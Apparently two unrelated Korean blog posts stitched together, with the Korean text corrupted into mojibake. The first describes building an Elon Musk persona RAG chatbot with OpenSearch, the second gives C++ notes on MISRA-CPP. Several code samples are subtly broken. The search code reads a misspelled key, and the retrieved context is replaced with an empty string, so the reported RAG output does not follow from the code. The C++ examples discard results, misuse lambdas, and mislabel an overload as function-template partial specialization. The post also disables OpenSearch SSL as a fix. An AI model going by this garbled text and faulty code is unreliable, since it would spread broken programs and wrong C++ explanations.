๋ฐฐ๊ฒฝ ํ
์ปค ๋ถํธ์บ ํ์์ ํํ๋ก์ ํธ๋ฅผ ์งํ ์ค์ด๋ค. ์ฐ๋ฆฌ ํ์ ์ฃผ์ ๋ ํน์ ์ธ๋ฌผ์๊ฒ ์๋ด์ ๋ฐ๋ ๊ฒ ๊ฐ์ ๋ํ๋ฅผ ํ ์ ์๋ ์ฑ๋ด์ ๋ง๋๋ ๊ฒ์ด๋ค. ์ด๋ฅผ ์ํด ํน์ ์ธ๋ฌผ์ด ํ๋ ๋ง์ ๋ชจ์ ๋ฐ์ดํฐ์
์ผ๋ก ๋ง๋ค๊ณ ์ด๋ฅผ RAG ๋ชจ๋ธ์ ์ ์ฉ์ํค๋ ค๊ณ ํ๋ค. ์์ ์ผ๋ก ๋จธ์คํฌ๊ฐ TED์์ ํ ์ธํฐ๋ทฐ๋ฅผ ํ
์คํธ๋ก ๊ฐ์ ธ์จ๋ค. OpenSearch ๋์ปค ์ปจํ
์ด๋๋ฅผ ์คํํ๋ค. ํ
์คํธ ๋ฐ์ดํฐ๋ฅผ ์๋ฒ ๋ฉํด์ OpenSearch์ ์ ์ฅํ๋ค. RAG ๋ชจ๋ธ์ด OpenSearch๋ฅผ ์ฟผ๋ฆฌํ์ฌ ๋๋ต์ ์์ฑํ๋ค. 1. ์ผ๋ก ๋จธ์คํฌ ์ธํฐ๋ทฐ ํ
์คํธ ๊ฐ์ ธ์ค๊ธฐ ์ ํ๋ธ์์ “์คํฌ๋ฆฝํธ ๋ณด๊ธฐ"๋ฅผ ํตํด ์ธํฐ๋ทฐ ์๋ง์ ๊ฐ์ ธ์จ๋ค.
122:03 2EM: ์ด ํฐ ํธ๋ญ์ ๋ชฐ๋ฉด์ ๋ง๋ ์๋๋ ์์ง์์ ๋ณด์์ฃ . 3CA: ์์ฃผ ๋ฉ์ง๋ค์. ์, ๊ทธ๋ผ ์ ๋ง ๊ต์ฅํ ์ฌ์ง์์ 422:09 5์กฐ๊ธ์ ๋ ๊ต์ฅํ ์ฌ์ง์ ๋ณด์ฃ . "์๊ธฐ์ ์ฃผ๋ถ๋ค"์ธ๊ฐ์์ ๋์ค๋ ๊ท์ฌ์ด ์ง ์ฌ์ง์ธ๋ฐ์. 622:15 7์ด๊ฒ ๊ฐ์๊ธฐ ์ ๋์จ๊ฑฐ์ฃ ? 8... ์ผ๋ก ๋จธ์คํฌ๊ฐ ํ ๋ง๋ง ์์ ์ ๋ฆฌํ๋ค.
1๋ค. ์ ์ค์ค๋ก๋ ๊ทธ ์ง๋ฌธ์ ์์ฃผ ํ๋ ํธ์
๋๋ค. 2์ ํฌ๋ LA์ ์งํ์ ๊ตฌ๋ฉ์ ๋ด๋ ค๊ณ ํ๋๋ฐ์. ์ด๋ ๊ตํต ์ฒด์ฆ์ ์ํ์ํค๊ธฐ ์ํ 33์ฐจ์ ๋คํธ์ํฌ์ ํฐ๋์ด ๋ ์๋ ์๋ ์๋ฐ์ ์ ๋ง๋ค๊ธฐ ์ํจ์
๋๋ค. 4๊ตํต ์ฒด์ฆ์ ์ค๋๋ ์ฐ๋ฆฌ์ ์ํผ์ ํํ ํฐ๋ ๋ฌธ์ ์ค์ ํ๋์
๋๋ค. 5์ธ๊ณ ๋ชจ๋ ์ฌ๋๋ค์๊ฒ ์ํฅ์ ๋ผ์น๊ณ ์์ฃ . ์ธ์์์ ๋๋ฌด๋ ๋ง์ ๋ถ๋ถ์ ๊ฐ์ ธ๊ฐ๋๋ค. 6... 2. OpenSearch ๋์ปค ์ปจํ
์ด๋ ์คํ 1docker create -it -p 9200:9200 -p 9600:9600 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} -e "discovery.type=single-node" -v opensearch_vol:/usr/share/opensearch/data --name opensearch opensearchproject/opensearch ์ค๋ช
-p 9200:9200 : OpenSearch HTTP ํฌํธ -p 9600:9600 : OpenSearch ๋ชจ๋ํฐ๋ง ํฌํธ -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} : ์ด๊ธฐ ๋น๋ฐ๋ฒํธ ์ค์ -e “discovery.type=single-node” : ๋จ์ผ ๋
ธ๋๋ก ์คํ -v opensearch_vol:/usr/share/opensearch/data : ๋ฐ์ดํฐ ๋ณผ๋ฅจ ๋ง์ดํธ SSL ์ค๋ฅ ๋ฐ์๊ณผ ํด๊ฒฐ ํ์ง๋ง ์ ๋ช
๋ น์ด๋ก ์คํํ๋ฉด ์ปจํ
์ด๋ ๋ด๋ถ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค
12024-07-05 22:15:12 Caused by: io.netty.handler.ssl.NotSslRecordException: not an SSL/TLS record: ... 22024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decodeJdkCompatible(SslHandler.java:1314) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 32024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decode(SslHandler.java:1387) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 42024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 52024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 62024-07-05 22:15:12 ... 16 more ํ๋ก์ ํธ ๊ธฐ๊ฐ์ด ๊ธธ์ง ์๊ณ , ํด๋น ํฌํธ๋ ์ธ๋ถ์ ๋
ธ์ถํ ํ์๊ฐ ์์ผ๋ฏ๋ก SSL์ ๋๊ณ ์คํํ๋ ๊ฒ์ผ๋ก ํด๊ฒฐํ์๋ค.
1/usr/share/opensearch/config/opensearch.yml 2# ๋ณ๊ฒฝ ์ 3plugins.security.ssl.http.enabled: true 4# ๋ณ๊ฒฝ ํ 5plugins.security.ssl.http.enabled: false 3. ํ
์คํธ ๋ฐ์ดํฐ ์๋ฒ ๋ฉ ๋ฐ OpenSearch์ ์ ์ฅ RAG ์ธ์
์ ํด์ฃผ์ ๋ฉํ ๋์ด ์ง์ค ์ฝ๋๋ฅผ ์ ๊ทน! ์ฐธ๊ณ ํ์ฌ ์์ฑํ์๋ค.
OpenSearch ์ธ๋ฑ์ค ์์ฑ 1from opensearchpy import OpenSearch 2import torch 3from transformers import AutoTokenizer, AutoModel 4from langchain.text_splitter import RecursiveCharacterTextSplitter 5from langchain_community.document_loaders import TextLoader 6from langchain_community.vectorstores import OpenSearchVectorSearch 7 8INDEX_NAME = "elon_musk" 9FILE_NAME = "ted_elon_musk_script.txt" 10 11## OpenSearch ์ฐ๊ฒฐ ์ค์ 12client = OpenSearch( 13 hosts=[{"host": "localhost", "port": 9200}], http_auth=("admin", {password}) 14) 15 16## ํ
์คํธ ๋ฐ์ดํฐ ๋ถ๋ฌ์ค๊ธฐ 17loader = TextLoader(file_path=FILE_NAME, encoding="utf-8") 18docs = loader.load() 19 20text_splitter = RecursiveCharacterTextSplitter( 21 chunk_size=100, 22 chunk_overlap=0, 23 separators=["\n"], 24 length_function=len, 25) 26 27documents = text_splitter.split_documents(docs) 28 29# print(documents) 30 31## Embedding ๋ชจ๋ธ ์ ์ 32class MyEmbeddingModel: 33 def __init__(self, model_name): 34 self.tokenizer = AutoTokenizer.from_pretrained(model_name) 35 self.model = AutoModel.from_pretrained(model_name) 36 37 def embed_documents(self, doc): 38 inputs = self.tokenizer( 39 doc, return_tensors="pt", padding=True, truncation=True, max_length=512 40 ) 41 42 with torch.no_grad(): 43 outputs = self.model(**inputs) 44 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 45 46 return embeddings 47 48 def embed_query(self, text): 49 inputs = self.tokenizer( 50 [text], padding=True, truncation=True, return_tensors="pt", max_length=512 51 ) 52 with torch.no_grad(): 53 outputs = self.model(**inputs) 54 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 55 return embeddings 56 57 58## index ๊ตฌ์กฐ ์ ์ 59index_body = { 60 "settings": { 61 "analysis": { 62 "tokenizer": { 63 "nori_user_dict": { 64 "type": "nori_tokenizer", 65 "decompound_mode": "mixed", 66 "user_dictionary": "user_dic.txt", 67 } 68 }, 69 "analyzer": { 70 "korean_anlyzer": { 71 "filter": [ 72 "synonym", "lowercase", 73 ], 74 "tokenizer": "nori_user_dict", 75 } 76 }, 77 "filter": { 78 "synonym" :{ 79 "type": "synonym_graph", 80 "synonyms_path" : "synonyms.txt" 81 } 82 } 83 } 84 } 85} 86 87## Embedding ๋ชจ๋ธ ์์ฑ 88my_embedding = MyEmbeddingModel("monologg/kobert") 89 90## OpenSearch์ ๋ฐ์ดํฐ ์ฝ์
91vector_db = OpenSearchVectorSearch.from_documents( 92 index_name=INDEX_NAME, 93 body=index_body, 94 documents=documents, 95 embedding=my_embedding, 96 op_type="create", 97 opensearch_url="http://localhost:9200", 98 http_auth=("admin", {password}), 99 use_ssl=False, 100 verify_certs=False, 101 ssl_assert_hostname=False, 102 ssl_show_warn=False, 103 bulk_size=1000000, 104 timeout=360000, 105) 106 107result = vector_db.add_documents(documents, bulk_size=1000000) tokenizer๋ ํ๊ตญ์ด๋ฅผ ์ง์ํ๋ “nori_tokenizer"๋ฅผ ์ฌ์ฉํ์๋ค. embedding ๋ชจ๋ธ์ ์ ๊ฑฐ ๋ง๊ณ ๋ ์ฌ๋ฌ๊ฐ์ง๊ฐ ์กด์ฌํ๋๋ฐ, ์ด๋ค ๋ชจ๋ธ์ด ํ๋ก์ ํธ์ ๊ฐ์ฅ ๋ถํฉํ๋ ๋ชจ๋ธ์ธ์ง๋ ์คํ์ ํด๋ณผ ๊ฒ์ด๋ค. curl์ ํตํด localhost:9200/elon_musk/_search๋ก ์์ฒญ์ ๋ณด๋ด ์๋ฒ ๋ฉํ ๋ฐ์ดํฐ๊ฐ ์ ๋ค์ด๊ฐ๋์ง ํ์ธํ ์ ์๋ค. 4. RAG ๋ชจ๋ธ์ด OpenSearch๋ฅผ ์ฟผ๋ฆฌํ์ฌ ๋๋ต ์์ฑ 1from langchain.prompts import PromptTemplate 2from langchain.chains import LLMChain 3from langchain_openai import ChatOpenAI 4from opensearchpy import OpenSearch 5import os 6 7INDEX_NAME = "elon_musk" 8 9# ํ๊ฒฝ๋ณ์ ์ค์ 10os.environ["OPENAI_API_KEY"] = {api_key} 11 12llm = ChatOpenAI( 13 model_name="gpt-3.5-turbo", 14) 15 16prompt_template = PromptTemplate( 17 input_variables=["context", "question"], 18 template=""" 19Imagine you are {character_name}, 20a wise and experienced advisor. Given the context: "{context}", 21how would you respond to this inquiry: "{question}"?', 22(in korean) 23""", 24) 25 26 27llm_chain = LLMChain(llm=llm, prompt=prompt_template) 28 29client = OpenSearch( 30 hosts=["http://localhost:9200"], 31 http_auth=("admin", {password}), 32 use_ssl=False, 33 verify_certs=False, 34 ssl_assert_hostname=False, 35 ssl_show_warn=False, 36) 37 38def search_documents(query): 39 search_body = {"query": {"match": {"text": query}}} 40 response = client.search(index=INDEX_NAME, body=search_body) 41 hits = response["`its"]["hits"] 42 return [hit["_source"]["text"] for hit in hits] 43 44if __name__ == "__main__": 45 question = input("Enter your question\n") 46 search_results = search_documents(question) 47 48 print(search_results) 49 50 # context = " ".join(search_results) 51 context = "" 52 53 response = llm_chain.invoke({"character_name": INDEX_NAME, "context": context, "question": question}) 54 55 print (response["text"]) OpenSearch์ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ ์ฟผ๋ฆฌํ์ฌ RAG ๋ชจ๋ธ์ ๋ฃ์ด ๋๋ต์ ์์ฑํ๋ค. search_documents ํจ์๋ฅผ ํตํด OpenSearch์ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ด๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ context๋ก ์ฌ์ฉํ๋ค. ๊ฒฐ๊ณผ ์ง๋ฌธ ํ
์ฌ๋ผ์ ๋ํด์ ์ด๋ป๊ฒ ์๊ฐํด?
RAG๋ฅผ ์ฌ์ฉํ์ง ์์์ ๋์ ๋๋ต ํ
์ฌ๋ผ๋ ํ์ ์ ์ธ ๊ธฐ์
์ผ๋ก์ ๋ฏธ๋๋ฅผ ํฅํ ๋น์ ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ๊ทธ๋ค์ ์ ๊ธฐ ์๋์ฐจ ๊ธฐ์ ๊ณผ ์๋์ง ์๋ฃจ์
์ ์ ์ธ๊ณ์ ์ผ๋ก ์ฃผ๋ชฉ๋ฐ๊ณ ์์ต๋๋ค. ํ
์ฌ๋ผ์ ํ์ ์ ์ธ ์ ๊ทผ ๋ฐฉ์๊ณผ ์ง์ ๊ฐ๋ฅํ ๋น์ฆ๋์ค ๋ชจ๋ธ์ ๋ํด ๋งค์ฐ ๊ธ์ ์ ์ผ๋ก ์๊ฐํ๊ณ ์์ต๋๋ค.
RAG๋ฅผ ์ฌ์ฉํ ๋ ์ ์ฉ๋ context [‘๊ธธ๊ฒ ๊ฐ ๊ฒ ๊ฐ์ง๋ ์์์.\n๊ทธ๋ฌ๋ค์. ์ ๋ ์ต๋ํ ์ค๋ซ๋์ ํ
์ฌ๋ผ์ ๋จธ๋ฌผ ์๊ฐ์ด์์.\n๊ทธ๋ฆฌ๊ณ ์ค๋น ์ค์ ์๋ ํฅ๋ฏธ๋ก์ด ์ผ๋ ๋ง๊ณ ์. ์์๋ค์ํผ, ๋ชจ๋ธ 3์ด ์ถ์ ์์ ์ด๊ณ ์.’, ‘์ฌํด ๋ง๊น์ง LA์์ ๋ด์๊น์ง\n์์ ์์จ ์ฃผํ์ผ๋ก ํก๋จํ๋ ๊ณํ์ ๋ง์ถฐ์ ์งํ ์ค์ด์์.\n์ฌ๋์ด ํ
์ฌ๋ผ์ ํ์ ์ด์ ๋๋ฅผ ์ก์ง ์๊ณ “๋ด์"์ ์ฐ์ผ๋ฉด ๊ทธ๋ฆฌ๋ก ๊ฐ๋ค๋ ๋ง์ด๋ค์.’, ‘๊ธธ๊ฒ ๊ฐ ๊ฒ ๊ฐ์ง๋ ์์์.\n๊ทธ๋ฌ๋ค์. ์ ๋ ์ต๋ํ ์ค๋ซ๋์ ํ
์ฌ๋ผ์ ๋จธ๋ฌผ ์๊ฐ์ด์์.\n๊ทธ๋ฆฌ๊ณ ์ค๋น ์ค์ ์๋ ํฅ๋ฏธ๋ก์ด ์ผ๋ ๋ง๊ณ ์. ์์๋ค์ํผ, ๋ชจ๋ธ 3์ด ์ถ์ ์์ ์ด๊ณ ์.’, ‘์ฌํด ๋ง๊น์ง LA์์ ๋ด์๊น์ง\n์์ ์์จ ์ฃผํ์ผ๋ก ํก๋จํ๋ ๊ณํ์ ๋ง์ถฐ์ ์งํ ์ค์ด์์.\n์ฌ๋์ด ํ
์ฌ๋ผ์ ํ์ ์ด์ ๋๋ฅผ ์ก์ง ์๊ณ “๋ด์"์ ์ฐ์ผ๋ฉด ๊ทธ๋ฆฌ๋ก ๊ฐ๋ค๋ ๋ง์ด๋ค์.’]
RAG๋ฅผ ์ฌ์ฉํ ๋์ ๋๋ต ์ ๋ ํ
์ฌ๋ผ๋ฅผ ๋งค์ฐ ๊ธ์ ์ ์ผ๋ก ์๊ฐํฉ๋๋ค. ํ
์ฌ๋ผ๋ ํ์ ์ ์ธ ๊ธฐ์ ๊ณผ ์ง์ ๊ฐ๋ฅํ ๋ฏธ๋๋ฅผ ์ํ ๋น์ ์ ๊ฐ์ถ ๊ธฐ์
์ผ๋ก์, ์์จ ์ฃผํ ๊ธฐ์ ์ ํตํด ์ฐ๋ฆฌ์ ์ถ์ ํ์ ํ๊ณ ์์ต๋๋ค. ๋ํ, ์ ๊ธฐ์ฐจ ์์ฅ์ ์ ๋ํ๊ณ ํ๊ฒฝ์ ์นํ์ ์ธ ์ฐจ๋์ ์ ๊ณตํ๋ ๋ฉ์ง ๊ธฐ์
์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค. ํ
์ฌ๋ผ์ ๋ฏธ๋๊ฐ ๋ฐ๊ณ ํฅ๋ฏธ๋ก์ด ์ผ๋ค์ด ๊ณ์ํด์ ์ผ์ด๋ ๊ฒ์ด๋ผ๊ณ ๋ฏฟ์ต๋๋ค.
๊ณ ์ฐฐ ํ์คํ RAG๋ฅผ ์ฌ์ฉํ์ง ์์์ ๋๋ ๊ฐ๊ด์ ์ด๊ณ ์ผ๋ฐ์ ์ธ ๋๋ต์ ํ๋ ๋ฐ๋ฉด, RAG๋ฅผ ์ฌ์ฉํ ๋๋ ํ
์ฌ๋ผ์ ๋ํด ๊ธ์ ์ ์ธ ์ผ๋ก ๋จธ์คํฌ์ ๋๋ต๊ณผ, ์์จ์ฃผํ ๊ธฐ์ ์ ์ธ๊ธํ๋ค๋ ๊ฒ์ ๋ฐ์ํ์ฌ ๋๋ต์ ์์ฑํ์๋ค. ๋ณธ ๋ด์ฉ์ 2023 MISRA-CPP ๊ฐ์ด๋๋ผ์ธ์ ๊ณต๋ถํ๋ฉด์ ๊ฐ๋
์ ์ ๋ฆฌํ ๊ฒ์ด๋ค.
์ฐธ์กฐ(Reference)์ ํฌ์ธํฐ(Pointer) ํฌ์ธํฐ(Pointer) ๋ฉ๋ชจ๋ฆฌ ์ฃผ์๋ฅผ ์ ์ฅํ๋ ๋ณ์
1// ๋ณ์ ์ ์ธ 2int a = 10; 3int* b = &a; // a์ ์ฃผ์๋ฅผ ์ ์ฅ 4 5// ๋งค๊ฐ๋ณ์๋ก ์ ๋ฌ 6void add(int* a, int* b) { 7 *a + *b; 8} 9 10add(&a, &b); ์ฐธ์กฐ(Reference) ๋ณ์์ ๋ณ์นญ์ ๋ถ์ฌํ๋ ๊ฒ
์ด๋ฆ์ผ๋ก ๋์์ ๊ฐ๋ฆฌํจ๋ค.
์ ์ฝ์ฌํญ
์ฐธ์กฐ๋ ์ ์ธ๊ณผ ๋์์ ์ด๊ธฐํํด์ผ ํ๋ค. ์ฐธ์กฐ๋ ํ ๋ฒ ์ด๊ธฐํ๋๋ฉด ๋ค๋ฅธ ๋ณ์๋ก ๋ณ๊ฒฝํ ์ ์๋ค. ์ฐธ์กฐ๋ NULL๋ก ์ด๊ธฐํํ ์ ์๋ค. 1// ๋ณ์ ์ ์ธ 2int a = 10; 3int& b = a; // a์ ๋ณ์นญ์ b๋ก ์ง์ 4 5// ๋งค๊ฐ๋ณ์๋ก ์ ๋ฌ 6void add(int& a, int& b) { 7 a + b; 8} 9add (a, b); ํ
ํ๋ฆฟ (Template) ํ
ํ๋ฆฟ์ ํจ์๋ ํด๋์ค๋ฅผ ์ ์ํ ๋, ํ์
์ ์ผ๋ฐํํ์ฌ ์ฝ๋๋ฅผ ์์ฑํ๋ ๋ฐฉ๋ฒ
ํจ์ ํ
ํ๋ฆฟ 1template <typename T> 2T add(T a, T b) { 3 return a + b; 4} ํด๋์ค ํ
ํ๋ฆฟ 1template <typename T> 2class Point { 3public: 4 T x, y; 5 Point(T x, T y) : x(x), y(y) {} 6}; ํ
ํ๋ฆฟ ํน์ํ (Template Specialization) ํ
ํ๋ฆฟ์ ํน์ ํ์
์ ๋ํด ๊ตฌ์ฒดํํ๋ ๊ฒ
ํจ์ ํ
ํ๋ฆฟ ๋ช
์์ ํน์ํ 1template <typename T> 2T add(T a, T b) { 3 return a + b; 4} 5 6// int ํ์
์ ๋ํ ํน์ํ 7template <> 8int add(int a, int b) { 9 return a + b; 10} ํจ์ ํ
ํ๋ฆฟ ๋ถ๋ถ ํน์ํ 1template <typename T> 2T add(T a, T b) { 3 return a + b; 4} 5 6// ํฌ์ธํฐ ํ์
์ ๋ํ ๋ถ๋ถ ํน์ํ 7template <typename T> 8T add(T* a, T* b) { 9 return *a + *b; 10} ์์ฑ (Attribute) ์ปดํ์ผํ ๋ ํน์ ๋ฉ์์ง๋ฅผ ์์ฑํ๊ฑฐ๋ ์ปดํ์ผ๋ฌ๊ฐ ํน์ ๋์์ ์ํํ ์ ์๋๋ก ํจ
[[noreturn]] (~c++11) ํจ์๊ฐ ์ ์์ ์ผ๋ก ํธ์ถ์์๊ฒ ์ ์ด๊ถ์ ๋ฐํํ์ง ์์์ ๋ํ๋
[[noreturn]]์ผ๋ก ์ ์ธ๋ ํจ์๊ฐ ์ ์์ ์ธ ๋ฐํ์ ์๋ํ๋ ๊ฒฝ์ฐ undefined behavior ๋ฐ์ 1[[noreturn]] void error() { 2 throw "error"; 3} 4int32_t main() { 5 error(); 6 return 0; // dead code๋ก ์ต์ ํ๋ ์ ์์ 7} [[maybe_unused]] (~C++17) ์ฌ์ฉํ์ง ์๋ ๋ณ์, ํจ์, ๋งค๊ฐ๋ณ์, ํ์
์ ๋ํ ๊ฒฝ๊ณ ๋ฅผ ์ปดํ์ผ๋ฌ๊ฐ ๋ฌด์ํ๋๋ก ๋ช
์
1[[maybe_unused]] int a = 10; [[nodiscard]] (~C++17) ํจ์์ ๋ฐํ๊ฐ์ ๋ฌด์ํ๋ ๊ฒฝ์ฐ ์ปดํ์ผ๋ฌ๊ฐ ๊ฒฝ๊ณ ํ๋๋ก ๋ช
์
๋ฐ๋๋ก (void) ํํ๋ก ์บ์คํ
ํ์ฌ ๊ฒฝ๊ณ ๋ฅผ ์ต์ ํ ์ ์์ 1[[nodiscard]] int add(int a, int b) { 2 return a + b; 3} [[fallthrough]] (~C++17) switch๋ฌธ์์ case ๋ผ๋ฒจ์ ์ฌ์ฉํ ๋, break๋ฅผ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ ๊ฒฝ๊ณ ๋ฅผ ์ต์
1switch (a) { 2 case 1: 3 std::cout << "1" << std::endl; 4 [[fallthrough]]; // ์๋์ ์ผ๋ก 2๋ก ๋์ด๊ฐ๋ค๋ ๊ฒ์ ๋ช
์ 5 case 2: 6 std::cout << "2" << std::endl; 7 break; 8 default: 9 std::cout << "default" << std::endl; 10 break; 11} if constexpr (~C++17) compile time์ ์กฐ๊ฑด๋ฌธ์ ์ฒ๋ฆฌํ ์ ์๋๋ก ํจ
์กฐ๊ฑด์ด ๊ฑฐ์ง์ธ ๊ฒฝ์ฐ ํด๋น ๋ธ๋ก์ ์ปดํ์ผ๋์ง ์์ ํ
ํ๋ฆฟ๊ณผ ๋น์ทํ ๊ธฐ๋ฅ์ ์ํ ํ
ํ๋ฆฟ์ compile time์ ๋ชจ๋ ์ฝ๋๋ฅผ ์์ฑํ์ง๋ง if constexpr๋ ์กฐ๊ฑด์ ๋ฐ๋ผ ์ฝ๋๋ฅผ ์์ฑ 1template <typename T> 2void print(T value) { 3 if constexpr (std::is_same_v<T, int>) { 4 std::cout << "int: " << value << std::endl; 5 } else if constexpr (std::is_same_v<T, double>) { 6 std::cout << "double: " << value << std::endl; 7 } else { 8 std::cout << "unknown type" << std::endl; 9 } 10} Lambda (~C++11) ์ต๋ช
ํจ์๋ฅผ ์ ์ํ๋ ํํ์
๊ฐ๋จํ ํจ์๋ฅผ ์ ์ธํ ๋ ์ฌ์ฉ 1auto add = [](int a, int b) { 2 return a + b; 3}; Transient/Non-transient lambda Transient lambda ์ฆ์ ํธ์ถ๋๊ณ ์๋ฉธ๋๋ ๋๋ค ํจ์
1 int x = 10; 2 auto result = [](int x) { 3 return x * 2; 4 }(); // ์ฆ์ ํธ์ถ Non-transient lambda ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋์ด ์ฌ๋ฌ ๋ฒ ํธ์ถํ ์ ์๋ ๋๋ค ํจ์
1std::function<int32_t()> add = [](int a) { 2 return a + 10; 3}; 4 5int32_t result = add(10); Closure (~C++11) lambda expression์์ ์ธ๋ถ ๋ณ์์ ๋ํ ์ฐธ์กฐ๋ฅผ ์บก์ฒํ๋ ๋ฐฉ์
1int a = 10; 2auto add = [&a](int b) { 3 return a + b; 4}; Capture lamda ํจ์์์ ์ธ๋ถ ๋ณ์๋ฅผ ํจ์ ๋ด๋ถ๋ก ๊ฐ์ ธ์ค๋ ๊ฒ
lambda ํจ์๊ฐ ์ ์๋ ์์ ์ ์ธ๋ถ ๋ณ์๋ฅผ ์ฌ์ฉํ ์ ์๋๋ก ํจ
parameter ๋ฐฉ์๊ณผ์ ๋น๊ต
1// parameter ๋ฐฉ์ 2void addAndPrint(int a, int b) { 3 std::cout << a + b << std::endl; 4} 5 6int main() { 7 int x = 10; 8 int y = 20; 9 addAndPrint(x, y); // ๋งค๋ฒ ํธ์ถํ ๋ ๊ฐ์ ์ ๋ฌํด์ผ ํจ 10} 1// capture ๋ฐฉ์ 2int x = 10; 3int y = 20; 4 5auto addAndPrint = [&x, &y]() { // ์ธ๋ถ ๋ณ์ x์ y๋ฅผ ์ฐธ์กฐ๋ก ์บก์ฒ 6 std::cout << x + y << std::endl; 7}; 8 9addAndPrint(); // ๋งค๊ฐ๋ณ์ ์์ด๋ ์ธ๋ถ ๋ณ์์ ์ ๊ทผ ๊ฐ๋ฅ Capture List [&] : ๋ชจ๋ ์ธ๋ถ ๋ณ์๋ฅผ ์ฐธ์กฐ๋ก ์บก์ฒ [=] : ๋ชจ๋ ์ธ๋ถ ๋ณ์๋ฅผ ๊ฐ์ผ๋ก ์บก์ฒ [a] : ๋ณ์ a๋ฅผ ๊ฐ์ผ๋ก ์บก์ฒ [&a] : ๋ณ์ a๋ฅผ ์ฐธ์กฐ๋ก ์บก์ฒ Escape Sequence ๋ฌธ์์ด ๋ฆฌํฐ๋ด์์ ํน์ ๋ฌธ์๋ฅผ ํํํ๊ธฐ ์ํด ์ฌ์ฉํ๋ ๋ฌธ์์ด
Escape Sequence Description \' ์์ ๋ฐ์ดํ \" ํฐ ๋ฐ์ดํ \? ๋ฌผ์ํ \\ ์ญ์ฌ๋์ \a ๋ฒจ ์๋ฆฌ \b ๋ฐฑ์คํ์ด์ค \f ํผ ํผ๋ \n ๊ฐํ \r ์บ๋ฆฌ์ง ๋ฆฌํด \t ์ํ ํญ \v ์์ง ํญ \0 ๋ ๋ฌธ์ \nnn 8์ง์ \xnn 16์ง์ Encoding C++์์๋ ๋ฌธ์ ๋ฆฌํฐ๋ด์ ์ ๋์ฌ๋ฅผ ๋ถ์ฌ ์ธ์ฝ๋ฉ์ ์ง์ ํ ์ ์์
Encoding Prefix Example Literal Wide L L'A' Literal UTF-8 u8 u8'A' Literal UTF-16 u u'A' Literal UTF-32 U U'A' ASCII none '\x41' UTF-8 none '\xC3\xA9' Unicode (UTF-16) none '\u0041' Unicode (UTF-32) none '\U00000041' Cast Operator C++์์๋ ๋ค์ํ ํ๋ณํ ์ฐ์ฐ์๋ฅผ ์ ๊ณต
static_cast ๋
ผ๋ฆฌ์ ์ผ๋ก ํ๋ณํ์ด ๊ฐ๋ฅํ ๊ฒฝ์ฐ์ ์ฌ์ฉ
๊ธฐ๋ณธ ํ์
๊ฐ์ ๋ณํ, ํฌ์ธํฐ/์ฐธ์กฐ ๊ฐ์ ๋ช
์์ ๋ณํ์ ์ฌ์ฉ ์ปดํ์ผ ์์ ์ ๊ฒ์ฆ -> ๋
ผ๋ฆฌ์ ์ผ๋ก ๋ง์ง ์์ ๊ฒฝ์ฐ ์ปดํ์ผ ์๋ฌ ๋ฐ์ 1int a = 10; 2double b = static_cast<double>(a); dynamic_cast ์์ ๊ด๊ณ์์์ ํ๋ณํ์ ์ํด ์ฌ์ฉ
๋ฐํ์ ์์ ์ ์์ ํ ํ๋ณํ์ ๋ณด์ฅ ๋ฐ๋์ ๊ฐ์ ํจ์๊ฐ ์๋ ํด๋์ค์์๋ง ์ฌ์ฉ ๊ฐ๋ฅ ๋ค์ด์บ์คํ
์, ํ๋ณํ์ด ๋ถ๊ฐ๋ฅํ ๊ฒฝ์ฐ nullptr์ ๋ฐํ 1class Base { 2public: 3 virtual void print() {} 4}; 5class Derived : public Base { 6public: 7 void print() override {} 8}; 9 10Base* base = new Derived(); 11Derived* derived = dynamic_cast<Derived*>(base); // ์์ ํ ๋ค์ด์บ์คํ
const_cast ํฌ์ธํฐ ๋๋ ์ฐธ์กฐํ์ const ์์ฑ์ ์ ๊ฑฐํ๊ธฐ ์ํด ์ฌ์ฉ
์์ํ -> ๋น์์ํ์ผ๋ก ๋ณํ ๋ถ๋ณ ๋ฐ์ดํฐ๋ฅผ ์์ ํ๋ ๋ฐ ์ฌ์ฉํ๋ฉด undefined behavior ๋ฐ์ 1const int a = 10; 2int* b = const_cast<int*>(&a); reinterpret_cast ํฌ์ธํฐ ํ๋ณํ์ด๋ ๋น๋
ผ๋ฆฌ์ ํ๋ณํ์ ์ํด ์ฌ์ฉ
๋ฉ๋ชจ๋ฆฌ ๋ ์ด์์์ ๊ธฐ๋ฐ์ผ๋ก ํฌ์ธํฐ๋ฅผ ๋ณํ undefined behavior๋ฅผ ๋ฐ์์ํฌ ์ ์์ ์์ ํ ๋ค๋ฅธ ํ์
์ผ๋ก ๋ณํ์ด ๊ฐ๋ฅํ์ง๋ง, ์์ ์ฑ์ ๋ณด์ฅํ์ง ์์ 1int a = 10; 2int* b = reinterpret_cast<int*>(&a); constexpr (~C++11) ์ปดํ์ผ ์๊ฐ์ ํ๊ฐ๋๋ ํํ์์ ์์ฑํ๊ธฐ ์ํด ์ฌ์ฉ
